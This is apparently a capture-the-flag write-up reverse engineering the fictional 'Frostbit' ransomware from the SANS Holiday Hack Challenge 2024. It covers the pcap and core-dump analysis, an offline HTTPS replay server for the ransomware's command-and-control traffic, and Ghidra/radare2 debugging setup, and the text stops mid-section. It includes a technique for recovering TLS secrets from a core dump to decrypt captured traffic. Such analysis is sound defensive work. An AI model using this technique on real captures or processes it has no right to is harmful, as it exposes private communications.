Reversing Frostbit - SANS Holiday Hack Challenge 2024
- 1 Introduction
- 2 Key techniques
- 3 The scenario
- 4 Artifacts summary
- 5 Analysis - pcap file
-
6 Environment setup
- 6.1 Separate debugging VM
-
6.2 Local HTTPS replay server
- 6.2.1 Extracting HTTP requests and responses from the pcap file
- 6.2.2 Python script to serve the replayed responses
- 6.2.3 TLS certificate generation
- 6.2.4 Trusting the self signed certificate
- 6.2.5 Configuring /etc/hosts
- 6.2.6 Basic socat proxy
- 6.2.7 Starting the replay server
- 6.2.8 Testing the replay server
- 6.3 Creating a dummy Naughty-Nice list
- 6.4 Ghidra setup
- 6.5 radare2 setup
- 7 Disassembling Go binaries versus C binaries
- 8 Gotchas
- 9 Analysis - core dump
-
10 Analysis - frostbit.elf
- 10.1 Examining file command output in detail
- 10.2 Entry point identification
- 10.3 AES-256-CBC Encryption
- 10.4 AES-256-CBC - Confirming using openssl
- 10.5 AES-256-CBC - Confirming the core dump does not contain the key
- 10.6 RSA 4096 encryption
- 10.7 RSA 4096 - Checking the api.frostbit.app public key
- 10.8 RSA 4096 - Confirming the origins of the public key
- 10.9 Unfinished business - why were the TLS secrets in the core dump?
- 10.10 View ransom note URL
- 11 Completing the challenge
- 12 Comparison with real ransomware
- 13 Conclusion
- 14 Appendix - other observations
→ 1 Introduction
Frostbit Decrypt was one of the challenges in Act III of the SANS Holiday Hack Challenge 2024: Snow-maggedon and involved defeating ransomware which had encrypted Santa’s Naughty-Nice list. Whilst reverse engineering of the Go x86-64 ELF binary was not strictly required, I took the opportunity to improve my reverse engineering skills and focus on reverse engineering in detail instead of completing the challenge proper. This post focuses on my learnings from this adventure and sets out to prove whether or not it is possible to decrypt the ransomed data based solely on the binary and its provided core dump.
→ 2 Key techniques
The key techniques employed in this writeup are:
- Reverse engineering a Go x86-64 ELF binary
-
Use of
Ghidra
andradare2
for static binary analysis -
Use of
radare2
andgdb
for debugging
→ 3 The scenario
Tangle Coalbox presented the following scenario, a case of ransomware perpetrated by an insider threat:
Ah, there ya are, Gumshoe! Tangle Coalbox at yer service.
Heard the news, eh? The elves’ civil war took a turn for the worse, and now, things’ve really gone sideways. Someone’s gone and ransomware’d the Naughty-Nice List!
And just when you think it can't get worse—turns out, it was none other than ol’ Wombley Cube. He used Frostbit ransomware, all right. But, in true Wombley fashion, he managed to lose the encryption keys!
That’s right, the list is locked up tight, and it’s nearly the start of the holiday season. Not ideal, huh? We're up a frozen creek without a paddle, and Santa’s big day is comin’ fast.
The whole North Pole’s stuck in a frosty mess, unless—there’s someone out there with the know-how to break us out of this pickle.
If I know Wombley—and I reckon I do—he didn't quite grasp the intricacies of Frostbit’s encryption. That gives us a sliver o' hope.
If you can crack into that code, reverse-engineer it, we just might have a shot at pullin’ these holidays outta the ice.
It’s no small feat, mind ya, but somethin’ tells me you've got the brains to make it happen, Gumshoe.
So, no pressure, but if we don’t get this solved, the holidays could be in a real bind. I'm countin’ on ya!
And when ya do crack it, I reckon Santa’ll make sure you're on the extra nice list this year. What d’ya say?
→ 4 Artifacts summary
The following artifacts were provided:
└─$ ls -lh
total 1.7G
-rwxrwxrwx 1 REDACTED REDACTED 93 Dec 26 00:02 DoNotAlterOrDeleteMe.frostbit.json
-rwxrwxrwx 1 REDACTED REDACTED 8.2M Dec 26 00:02 frostbit.elf
-rwxrwxrwx 1 REDACTED REDACTED 1.6G Dec 26 00:04 frostbit_core_dump.14
-rwxrwxrwx 1 REDACTED REDACTED 47K Dec 26 00:02 naughty_nice_list.csv.frostbit
-rwxrwxrwx 1 REDACTED REDACTED 9.3K Dec 26 00:02 ransomware_traffic.pcap
I believe the artifacts were generated specifically for each player so the hashes are not comparable between players but I’ll provide them here anyway:
└─$ shasum -a256 *
c43300435158f5408090a3f27721ccd9a73fd7da7d6b8b39fa46dfe610713e34 DoNotAlterOrDeleteMe.frostbit.json
087b0f31824fa6bc84ee52601e6ac95f28c022912d9e8ac85851eed51e113525 frostbit.elf
0a4b0ac83bf69abd8075384bf115a8611ddbe37f373d6d50ebd54cf8787ccd45 frostbit_core_dump.14
3fba612574f9d6c5475f1dd2716b598a041a5b2323cb3f7be05d0ee6377b77fa naughty_nice_list.csv.frostbit
02ad2434876a47c077181ae83326a89824b3c82fb5bcf914ba3dd9854632c341 ransomware_traffic.pcap
Identifying each artifact in turn:
-
DoNotAlterOrDeleteMe.frostbit.json
contains JSON dropped by the ransomware after it encrypted the victim’s data:└─$ cat DoNotAlterOrDeleteMe.frostbit.json {"digest":"19e000902a849d0a1c8619804190806e","status":"Key Set","statusid":"hfD1USRg9MZ1yA"}
-
frostbit.elf
is an x86-64 ELF Go binary:└─$ file frostbit.elf frostbit.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=twFnsUORqqujpF2IKOpc/fGToVu04lOziSdznrxR4/fBxGnDHL6jeZzih8PnXE/rTwd9D0xXFzB6_Ua8NW1, with debug_info, not stripped
-
frostbit_core_dump.14
is a core dump from thefrostbit.elf
binary└─$ file frostbit_core_dump.14 frostbit_core_dump.14: ELF 64-bit LSB core file, x86-64, version 1 (SYSV)
-
naughty_nice_list.csv.frostbit
is the Frostbit encryptednaughty_nice_list.csv
:└─$ file naughty_nice_list.csv.frostbit naughty_nice_list.csv.frostbit: data
-
ransomware_traffic.pcap
is a network packet capture of the ransomware’s communication with its remote server:└─$ file ransomware_traffic.pcap ransomware_traffic.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
→ 5 Analysis - pcap file
Opening ransomware_traffic.pcap
in Wireshark revealed a
single TCP stream - indicated by the unbroken line in the left margin
covering the entire set of packets - transporting an encrypted TLS1.3
session with api.frostbit.app
:

Although it is typically not possible to decrypt TLS1.3 packets,
perhaps frostbit_core_dump.14
would yield some secrets? The
core dump was 1.6GB, though, so a basic strings
run was
tedious to go through, as most of the results were short and irrelevant.
Fortunately, though, strings supports a -n min-len
option
to control the minimum length sequence of displayable characters that
will be printed as a string. Using this option easily yielded what
appeared to be the same format required by Wireshark’s (Pre)-Master-Secret
log filename setting for decrypting TLS traffic:
└─$ strings -t x -10 frostbit_core_dump.14|less
...
547cc8 CLIENT_HANDSHAKE_TRAFFIC_SECRET eb6fa666a08a6c4fb6ab7a8d8b857edab2da33f2684cafb407ff4aa0ef5e82c0 3e3573d439600b5d89df7fbee827f83da682fc95e60feac36513073806051653
547d6a SERVER_HANDSHAKE_TRAFFIC_SECRET eb6fa666a08a6c4fb6ab7a8d8b857edab2da33f2684cafb407ff4aa0ef5e82c0 1d8b443ca1c9221c3fd39ebbf1ee0001409b41887a3e9d4a1e78e74310dcfcdc
547e0c CLIENT_TRAFFIC_SECRET_0 eb6fa666a08a6c4fb6ab7a8d8b857edab2da33f2684cafb407ff4aa0ef5e82c0 5e849fffc2a9c0620065923f2fb5999e57b8016bffed4fa4aba81a3d93089123
547ea6 SERVER_TRAFFIC_SECRET_0 eb6fa666a08a6c4fb6ab7a8d8b857edab2da33f2684cafb407ff4aa0ef5e82c0 882699fbc1e376d70f80c27c34e42f6f70c456a98ec0aa8c28fe30d3a2e297c6
...
The secrets were placed into frostbit-tls.keylog
,
without the offset produced by the -t x
option, and
configured in Wireshark’s
Edit->Preferences->Protocols->TLS-(Pre)-Master-Secret log filename
setting:

Wireshark was thus able to successfully decrypt the TLS1.3 encrypted packets:

Right clicking of the HTTP packets and selecting
Follow->HTTP Stream
yielded the following exchange:
GET /api/v1/bot/50b8521f-d748-4b16-b885-0f15fdfd953c/session HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Wed, 25 Dec 2024 13:02:38 GMT
Content-Type: application/json
Content-Length: 29
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
{"nonce":"5ba74ec61797f538"}
POST /api/v1/bot/50b8521f-d748-4b16-b885-0f15fdfd953c/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip
{"encryptedkey":"5b8546280e8783997c05f3de970d4259693a105d813ea8e12ec0904a184fdd0a0e63de6649375b61d5d28aaf57292df3f6d48b102f7fce97a6c9d9cc9c0d1f6dbddabaa05fbb51cd2a558d1eefca567b55363811ace161df25f638720c54dc821e35fd03295117509a48c076d8f4d5f5e8c8f8f0a5cb064d2be8153be0f138735cc5f10cdbf8d51798ca22cdcad16d730f2725fa16684a1bb61ba3a939a64a44a8f02f071b317debe6b6d78725f10d25f5fa5677091d2726840f9729b5eeb8ff7e1911b5e455a25330f63c268d91332951bb818dfb7bcd9314717097de1eb3313df2113305a0198378a593da2eb814ac9a5730c8e1db3ae348c0f79efe89731c62ef31fd4a82ca5f15eee6391c3fcc27291485e4db95c025f22c404bb8fd2496b99e8095ec7ea918bab10f7a392ea5edf6b6986a62d0b6a19fd65950ff54dc193289e2c974902de32b67ac514a4da3f61c691c0063a7f6ea406a3d57736c9a4bc0af729cfbaea14566d9a78e0af36fe42d5c2a8b0fb4595143f865fcb469ca1807b85e85b4b0a4cd3a974bee3d4663aafee20973164eb6e427972702873076f7e118af7b636453bb7d2fb380c91fab92cfcc714fb4b31f60f44d86e3d4960f5349d10670a3f464b6d7297e5dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728","nonce":"5ba74ec61797f538"}
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Wed, 25 Dec 2024 13:02:38 GMT
Content-Type: application/json
Content-Length: 93
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
{"digest":"19e000902a849d0a1c8619804190806e","status":"Key Set","statusid":"hfD1USRg9MZ1yA"}
As this post focuses on reverse engineering the client side of the
ransomware, the values generated by api.frostbit.app
in the
HTTP exchange will be mostly ignored but analysis of them is required
when attacking api.frostbit.app
, which in turn is required
for actually completing the challenge.
Examining the HTTP stream, the following values were generated client side and sent to the server:
-
A UUID of
50b8521f-d748-4b16-b885-0f15fdfd953c
to seemingly uniquely identify the ransomware client instance. This appears to be a UUID v4 and hence is not expected to be predictable, nor brute forceable unless there is a vulnerability in the random data source:└─$ uuid -d 50b8521f-d748-4b16-b885-0f15fdfd953c encode: STR: 50b8521f-d748-4b16-b885-0f15fdfd953c SIV: 107295287965050889862335483204891153724 decode: variant: DCE 1.1, ISO/IEC 11578:1996 version: 4 (random data based) content: 50:B8:52:1F:D7:48:0B:16:38:85:0F:15:FD:FD:95:3C (no semantics: random data only)
However, the UUID is actually hard coded in
frostbit.elf
. This is potentially because the artifact is generated per player:└─$ strings -tx -10 frostbit.elf|grep -o 50b8521f-d748-4b16-b885-0f15fdfd953c 50b8521f-d748-4b16-b885-0f15fdfd953c
-
A hex encoded encrypted key:
5b8546280e8783997c05f3de970d4259693a105d813ea8e12ec0904a184fdd0a0e63de6649375b61d5d28aaf57292df3f6d48b102f7fce97a6c9d9cc9c0d1f6dbddabaa05fbb51cd2a558d1eefca567b55363811ace161df25f638720c54dc821e35fd03295117509a48c076d8f4d5f5e8c8f8f0a5cb064d2be8153be0f138735cc5f10cdbf8d51798ca22cdcad16d730f2725fa16684a1bb61ba3a939a64a44a8f02f071b317debe6b6d78725f10d25f5fa5677091d2726840f9729b5eeb8ff7e1911b5e455a25330f63c268d91332951bb818dfb7bcd9314717097de1eb3313df2113305a0198378a593da2eb814ac9a5730c8e1db3ae348c0f79efe89731c62ef31fd4a82ca5f15eee6391c3fcc27291485e4db95c025f22c404bb8fd2496b99e8095ec7ea918bab10f7a392ea5edf6b6986a62d0b6a19fd65950ff54dc193289e2c974902de32b67ac514a4da3f61c691c0063a7f6ea406a3d57736c9a4bc0af729cfbaea14566d9a78e0af36fe42d5c2a8b0fb4595143f865fcb469ca1807b85e85b4b0a4cd3a974bee3d4663aafee20973164eb6e427972702873076f7e118af7b636453bb7d2fb380c91fab92cfcc714fb4b31f60f44d86e3d4960f5349d10670a3f464b6d7297e5dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728
This value is 512 bytes long:
└─$ echo -n "5b8546280e8783997c05f3de970d4259693a105d813ea8e12ec0904a184fdd0a0e63de6649375b61d5d28aaf57292df3f6d48b102f7fce97a6c9d9cc9c0d1f6dbddabaa05fbb51cd2a558d1eefca567b55363811ace161df25f638720c54dc821e35fd03295117509a48c076d8f4d5f5e8c8f8f0a5cb064d2be8153be0f138735cc5f10cdbf8d51798ca22cdcad16d730f2725fa16684a1bb61ba3a939a64a44a8f02f071b317debe6b6d78725f10d25f5fa5677091d2726840f9729b5eeb8ff7e1911b5e455a25330f63c268d91332951bb818dfb7bcd9314717097de1eb3313df2113305a0198378a593da2eb814ac9a5730c8e1db3ae348c0f79efe89731c62ef31fd4a82ca5f15eee6391c3fcc27291485e4db95c025f22c404bb8fd2496b99e8095ec7ea918bab10f7a392ea5edf6b6986a62d0b6a19fd65950ff54dc193289e2c974902de32b67ac514a4da3f61c691c0063a7f6ea406a3d57736c9a4bc0af729cfbaea14566d9a78e0af36fe42d5c2a8b0fb4595143f865fcb469ca1807b85e85b4b0a4cd3a974bee3d4663aafee20973164eb6e427972702873076f7e118af7b636453bb7d2fb380c91fab92cfcc714fb4b31f60f44d86e3d4960f5349d10670a3f464b6d7297e5dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728" |xxd -r -p|wc -c 512
Symmetric encryption keys are pretty short, with the commonly used AES-256 block cipher employing 32 byte long keys and an encryption block size of 16 bytes. However, 512 bytes happens to be the output byte length for RSA 4096 bits encryption. This can be checked with the following simple test:
-
Generate an RSA 4096 bit private key:
└─$ openssl genrsa -out private.pem 4096
-
Extract the public key:
└─$ openssl rsa -in private.pem -pubout -out public.pem
-
Encrypt a single byte using the public key and count the byte length of the output
└─$ echo -n "A" | openssl pkeyutl -encrypt -pubin -inkey public.pem| wc -c 512
As will be confirmed later, the value is indeed encrypted using a RSA 4096 bit public key.
-
Incidentally, the requests are somewhat visible in the core dump, which makes sense because the core dump was presumably generated after the HTTP exchange occurred but analyzing the pcap file makes the flow and usage clearer and more complete:
-
The POST request of the key is visible in the core dump but curiously, the nonce is missing. This is not, however, a simple case of the memory being re-used and overwritten, as both the entire POST and the JSON are still well formed, just that the nonce field is an empty string. It remains unclear why this is the case but it could be due to the way the artifacts were generated for the challenge:
└─$ radare2 -n frostbit_core_dump.14 [0x00000000]> s 0x549cc8 [0x00549cc8]> [0x00549cc8]> ps 1257 POST /api/v1/bot/50b8521f-d748-4b16-b885-0f15fdfd953c/key HTTP/1.1\x0d Host: api.frostbit.app\x0d User-Agent: Go-http-client/1.1\x0d Content-Length: 1070\x0d Content-Type: application/json\x0d Accept-Encoding: gzip\x0d \x0d {"encryptedkey":"5b8546280e8783997c05f3de970d4259693a105d813ea8e12ec0904a184fdd0a0e63de6649375b61d5d28aaf57292df3f6d48b102f7fce97a6c9d9cc9c0d1f6dbddabaa05fbb51cd2a558d1eefca567b55363811ace161df25f638720c54dc821e35fd03295117509a48c076d8f4d5f5e8c8f8f0a5cb064d2be8153be0f138735cc5f10cdbf8d51798ca22cdcad16d730f2725fa16684a1bb61ba3a939a64a44a8f02f071b317debe6b6d78725f10d25f5fa5677091d2726840f9729b5eeb8ff7e1911b5e455a25330f63c268d91332951bb818dfb7bcd9314717097de1eb3313df2113305a0198378a593da2eb814ac9a5730c8e1db3ae348c0f79efe89731c62ef31fd4a82ca5f15eee6391c3fcc27291485e4db95c025f22c404bb8fd2496b99e8095ec7ea918bab10f7a392ea5edf6b6986a62d0b6a19fd65950ff54dc193289e2c974902de32b67ac514a4da3f61c691c0063a7f6ea406a3d57736c9a4bc0af729cfbaea14566d9a78e0af36fe42d5c2a8b0fb4595143f865fcb469ca1807b85e85b4b0a4cd3a974bee3d4663aafee20973164eb6e427972702873076f7e118af7b636453bb7d2fb380c91fab92cfcc714fb4b31f60f44d86e3d4960f5349d10670a3f464b6d7297e5dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728","nonce":""}
-
Interestingly, the nonce is not visible in the core dump at all:
└─$ strings -tx -10 frostbit_core_dump.14|grep 5ba74ec61797f538
-
The GET request for the session is not as fully visible in the core dump as the POST request but the URL is visible, albeit it is adjacent to the key URL:
477cc8 https://api.frostbit.app/api/v1/bot/50b8521f-d748-4b16-b885-0f15fdfd953c/sessionhttps://api.frostbit.app/api/v1/bot/50b8521f-d748-4b16-b885-0f15fdfd953c/keyit
-
The digest response JSON is fully visible in the core dump:
3c0a98 {"digest":"19e000902a849d0a1c8619804190806e","status":"Key Set","statusid":"hfD1USRg9MZ1yA"}
There is also an additional view URL in the core dump which was not captured in the pcap. This will be discussed more later on:
39be98 https://api.frostbit.app/view/hfD1USRg9MZ1yA/50b8521f-d748-4b16-b885-0f15fdfd953c/status?digest=19e000902a849d0a1c8619804190806e
→ 6 Environment setup
→ 6.1 Separate debugging VM
A separate Kali VM with a link-local IP address was created for
running and debugging frostbit.elf
in an isolated,
non-internet connected environment. Use of a separate VM has the
following advantages:
- Reduces the impact of system wide changes, such as changes to the system wide TLS certificate trust store and DNS resolution, described further below.
- Reduces the impact of any malicious behavior, albeit such behavior is unlikely in the context of the Frostbit Decrypt challenge.
→ 6.2 Local HTTPS replay server
A local HTTPS replay server was implemented to replay the traffic
from ransomware_traffic.pcap
. This ensured the responses
received by frostbit.elf
during debugging matched those
which occurred during the original execution and also permitted
debugging frostbit.elf
in an environment without internet
connectivity. Use of a replay server also has the advantage of providing
an endpoint which will still be available after
api.frostbit.app
is no longer available.
→ 6.2.1 Extracting HTTP requests and responses from the pcap file
The HTTP requests and responses were extracted from
ransomware_traffic.pcap
with the help of the
tshark
pipeline below:
-
tshark
was invoked with the following options:-
-o tls.keylog_file:frostbit-tls.keylog
specifies the TLS keylog file for decrypting the TLS packets. -
-r ransomware_traffic.pcap
specifies the pcap file to read. -
-Y http
is a display filter for HTTP traffic -
-z follow,http,raw,0
specifies that HTTP stream 0 should be followed, output as raw hexadecimal data. Hexadecimal was used instead of ASCII output, as the latter is slightly harder to parse, with each chunk preceded by a byte count.
-
-
tail -n +11
removes the 11 line header from thetshark
output -
head -n -1
removes the single line footer from thetshark
output -
xxd -r -p
reverses the hex encoding
└─$ tshark -o tls.keylog_file:frostbit-tls.keylog -r ransomware_traffic.pcap -Y http -z follow,http,raw,0| tail -n +11| head -n -1|xxd -r -p
GET /api/v1/bot/50b8521f-d748-4b16-b885-0f15fdfd953c/session HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Wed, 25 Dec 2024 13:02:38 GMT
Content-Type: application/json
Content-Length: 29
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
{"nonce":"5ba74ec61797f538"}
POST /api/v1/bot/50b8521f-d748-4b16-b885-0f15fdfd953c/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip
{"encryptedkey":"5b8546280e8783997c05f3de970d4259693a105d813ea8e12ec0904a184fdd0a0e63de6649375b61d5d28aaf57292df3f6d48b102f7fce97a6c9d9cc9c0d1f6dbddabaa05fbb51cd2a558d1eefca567b55363811ace161df25f638720c54dc821e35fd03295117509a48c076d8f4d5f5e8c8f8f0a5cb064d2be8153be0f138735cc5f10cdbf8d51798ca22cdcad16d730f2725fa16684a1bb61ba3a939a64a44a8f02f071b317debe6b6d78725f10d25f5fa5677091d2726840f9729b5eeb8ff7e1911b5e455a25330f63c268d91332951bb818dfb7bcd9314717097de1eb3313df2113305a0198378a593da2eb814ac9a5730c8e1db3ae348c0f79efe89731c62ef31fd4a82ca5f15eee6391c3fcc27291485e4db95c025f22c404bb8fd2496b99e8095ec7ea918bab10f7a392ea5edf6b6986a62d0b6a19fd65950ff54dc193289e2c974902de32b67ac514a4da3f61c691c0063a7f6ea406a3d57736c9a4bc0af729cfbaea14566d9a78e0af36fe42d5c2a8b0fb4595143f865fcb469ca1807b85e85b4b0a4cd3a974bee3d4663aafee20973164eb6e427972702873076f7e118af7b636453bb7d2fb380c91fab92cfcc714fb4b31f60f44d86e3d4960f5349d10670a3f464b6d7297e5dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728","nonce":"5ba74ec61797f538"}HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Wed, 25 Dec 2024 13:02:38 GMT
Content-Type: application/json
Content-Length: 93
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
{"digest":"19e000902a849d0a1c8619804190806e","status":"Key Set","statusid":"hfD1USRg9MZ1yA"}
Each HTTP response was placed in a separate file:
-
key_response.txt
-
session_response.txt
→ 6.2.2 Python script to serve the replayed responses
The replayer.py
script below was created to perform a
regex match against the expected GET and POST request paths and replay
the corresponding response file. The script is simplistic but adequate
for frostbit.elf
. For example, it does not update the dates
in the responses but frostbit.elf
does not validate
these.
#! /usr/bin/python3
from http.server import *
import re
import ssl
import sys
class ReplayHandler(BaseHTTPRequestHandler):
def do_GET(self):
if re.match(r"^/api/v1/bot/[-a-z0-9]+/session$", self.path):
= read_raw_response("./session_response.txt")
raw_resp self.wfile.write(raw_resp)
return
self.send_error(404)
def do_POST(self):
if re.match(r"^/api/v1/bot/[-a-z0-9]+/key$", self.path):
= read_raw_response("./key_response.txt")
raw_resp self.wfile.write(raw_resp)
return
self.send_error(404)
def read_raw_response(name):
with open(name, "r") as raw_response:
return bytes(raw_response.read(), 'utf-8')
def run(host, port, cert_file, privkey_file, privkey_pass, server_class=HTTPServer, handler_class=ReplayHandler):
= ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context =cert_file, keyfile=privkey_file, password=privkey_pass)
context.load_cert_chain(certfile= (host, port)
server_address = HTTPServer(server_address, ReplayHandler)
httpd = context.wrap_socket(httpd.socket, server_side=True)
httpd.socket
httpd.serve_forever()
=sys.argv[1]
host=int(sys.argv[2])
port=sys.argv[3]
cert_file=sys.argv[4]
privkey_file=sys.argv[5]
privkey_pass
run(host, port, cert_file, privkey_file, privkey_pass)
→ 6.2.3 TLS certificate generation
A private key and self signed cert were generated:
-
Private key generation:
└─$ openssl genrsa -aes256 -out private.pem 4096
-
Self signed certificate generation. When prompted, a common name of
api.frostbit.app
was entered:└─$ openssl req -new -x509 -days 365 -key private.pem -out server.crt
-
Combining the private key and certificate into a single PEM file:
└─$ cat private.pem server.crt > server.pem
→ 6.2.4 Trusting the self signed certificate
server.pem
was added as a system wide trusted
certificate:
└─$ sudo cp server.crt /usr/local/share/ca-certificates/
└─$ sudo update-ca-certificates
Installation was verified:
└─$ openssl verify -CAfile /etc/ssl/certs/ca-certificates.crt server.crt
server.crt: OK
→ 6.2.5 Configuring /etc/hosts
/etc/hosts
was configured to resolve
api.frostbit.app
to 127.0.0.1
:
127.0.0.1 api.frostbit.app
→ 6.2.6 Basic socat proxy
socat
was used as a proxy to replayer.py
for the following reasons:
-
Restricting privileges:
frostbit.elf
expects to connect to the privileged port 443 but binding to this port requires elevated privileges. Runningsocat
with elevated privileges restricts the potential blast radius versus runningpython3
with elevated privileges. -
Makeshift logging:
socat
will print the responses served.
socat
was invoked below to forward traffic between
tls/443 and tls/8443:
-
openssl-listen
configures a server endpoint bound to port 443 and configured with the server key pair.verify=0
disables TLS client authentication. -
openssl-connect
configuressocat
to connect toapi.frostbit.app
on port 8443.verify=1
will verify the server’s TLS certificate.
└─$ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=server.pem,cafile=server.crt,verify=0 openssl-connect:api.frostbit.app:8443,verify=1
→ 6.2.7 Starting the replay server
replayer.py
was started:
└─$ python3 replayer.py 127.0.0.1 8443 ../socat/server.crt ../socat/server.pem pass
→ 6.2.8 Testing the replay server
Successful connection to api.frostbit.app
was confirmed
using curl
:
└─$ curl --verbose -i https://api.frostbit.app
* Host api.frostbit.app:443 was resolved.
* IPv6: (none)
* IPv4: 127.0.0.1
* Trying 127.0.0.1:443...
* GnuTLS ciphers: NORMAL:-ARCFOUR-128:-CTYPE-ALL:+CTYPE-X509:-VERS-SSL3.0
* ALPN: curl offers h2,http/1.1
* found 147 certificates in /etc/ssl/certs/ca-certificates.crt
* found 443 certificates in /etc/ssl/certs
* SSL connection using TLS1.3 / ECDHE_RSA_AES_256_GCM_SHA384
* server certificate verification OK
* server certificate status verification SKIPPED
* common name: api.frostbit.app (matched)
* server certificate expiration date OK
* server certificate activation date OK
* certificate public key: RSA
* certificate version: #3
* subject: C=US,ST=California,L=San Francisco,O=HHC Frostbit,OU=api.frostbit.app,CN=api.frostbit.app
* start date: Mon, 30 Dec 2024 08:57:56 GMT
* expire date: Tue, 30 Dec 2025 08:57:56 GMT
* issuer: C=US,ST=California,L=San Francisco,O=HHC Frostbit,OU=api.frostbit.app,CN=api.frostbit.app
* ALPN: server did not agree on a protocol. Uses default.
* Connected to api.frostbit.app (127.0.0.1) port 443
* using HTTP/1.x
> GET / HTTP/1.1
> Host: api.frostbit.app
> User-Agent: curl/8.11.0
> Accept: */*
>
* Request completely sent off
* HTTP 1.0, assume close after body
< HTTP/1.0 404 Not Found
HTTP/1.0 404 Not Found
< Server: BaseHTTP/0.6 Python/3.12.7
Server: BaseHTTP/0.6 Python/3.12.7
< Date: Wed, 08 Jan 2025 08:37:36 GMT
Date: Wed, 08 Jan 2025 08:37:36 GMT
< Connection: close
Connection: close
< Content-Type: text/html;charset=utf-8
Content-Type: text/html;charset=utf-8
< Content-Length: 330
Content-Length: 330
<
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 404</p>
<p>Message: Not Found.</p>
<p>Error code explanation: 404 - Nothing matches the given URI.</p>
</body>
</html>
* shutting down connection #0
→ 6.3 Creating a dummy Naughty-Nice list
A 16 byte long string of “A” characters was stored into a dummy
naughty_nice_list.csv
. 16 bytes is the block size of the
commonly used AES encryption algorithm and is also the standard width of
a hex dump.
└─$ python3 -c 'print("A"*16, end="")'> naughty_nice_list.csv
→ 6.4 Ghidra setup
Ghidra
was used for static analysis and for commenting
the assembly. frostbit.elf
was imported with the
Language
set to x86:LE:64:default:golang
:

Default analysis was conducted:

→ 6.5 radare2 setup
→ 6.5.1 Creating a project
radare2 was used for debugging and for comparative static analysis
with Ghidra
. The latter proved especially useful for
providing a more raw view of the assembly, absent of
Ghidra
’s higher level interpretations.
-
frostbit.elf
was loaded intoradare2
:└─$ radare2 frostbit.elf WARN: truncated dwarf block WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
-
Full analysis was conducted, including experimental analysis. There was one error, with the golang binaries (aang) analysis unable to find any symbols but this appears to only be for stripped golang binaries and therefore the error is inconsequential in this instance:
[0x00475d80]> aaaa INFO: Analyze all flags starting with sym. and entry0 (aa) INFO: Analyze imports (af@@@i) INFO: Analyze entrypoint (af@ entry0) INFO: Analyze symbols (af@@@s) INFO: Analyze all functions arguments/locals (afva@@@F) INFO: Find function and symbol names from golang binaries (aang) ERROR: Found no symbols INFO: Analyze all flags starting with sym.go. (aF @@f:sym.go.*) INFO: Analyze function calls (aac) INFO: Analyze len bytes of instructions for references (aar) INFO: Finding and parsing C++ vtables (avrr) INFO: Analyzing methods (af @@ method.*) INFO: Recovering local variables (afva@@@F) INFO: Type matching analysis for all functions (aaft) INFO: Propagate noreturn information (aanr) INFO: Scanning for strings constructed in code (/azs) INFO: Finding function preludes (aap) INFO: Enable anal.types.constraint for experimental type propagation
-
The project was saved:
[0x00475d80]> Ps frostbit_hhc_2024
→ 6.5.2 Remote debugging with gdb
radare2
supports remote debugging via gdb
.
An example of starting gdbserver
to debug
frostbit.elf
, binding to 169.254.115.238:9999
,
is below. The --once
option allows gdbserver
to be terminated when radare2
exits. Starting up a fresh
instance seemed to be the most stable way of commencing a new debugging
session.
└─$ gdbserver --once 169.254.115.238:9999 frostbit.elf
Process /REDACTED/frostbit/frostbit.elf created; pid = 43549
Listening on port 9999
An example of starting radare2
from the previously saved
project and attaching to gdb:
└─$ radare2 -p REDACTED/frostbit_hhc_2024/rc.r2
WARN: truncated dwarf block
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
[0x00475d80]> doof gdb://169.254.115.238:9999
With the above setup, quitting radare2 will also quit the gdbserver.
→ 7 Disassembling Go binaries versus C binaries
Compilers for different programming languages inherently produce
different machine code and assembly, even if they target the same
underlying computer architecture, which is x86-64 for
frostbit.elf
. The reasons for this include:
-
Compilers are free to utilize their own set of conventions for managing memory and CPU registers, which forms part of a language’s ABI (Application Binary Interface). Go’s internal ABI is documented at https://tip.golang.org/src/cmd/compile/abi-internal.
-
Each language will have different constructs that affect program flow. For example, some languages like C++ support exceptions, whilst C does not. Go on the other hand, supports a concept of deferred functions.
-
Each language has its own set of data types and corresponding memory representation.
-
Each language has its own set of library functions.
The features of Go’s machine code most pertinent to
frostbit.elf
are as follows.
→ 7.1 Function calling convention
The calling convention refers to the way in which registers and the stack are managed when a function is called. For all architectures, Go’s function calls “pass arguments and results using a combination of the stack and machine registers”. Notably, Go supports multiple return values from a function, whereas C does not. On x86-64, Go “uses the following sequence of 9 registers for integer arguments and results: RAX, RBX, RCX, RDI, RSI, R8, R9, R10, R11”.
The frostbit.elf
example below shows three registers
being used for return values from main.GetNonce
:
-
AL
contains the boolean return status. -
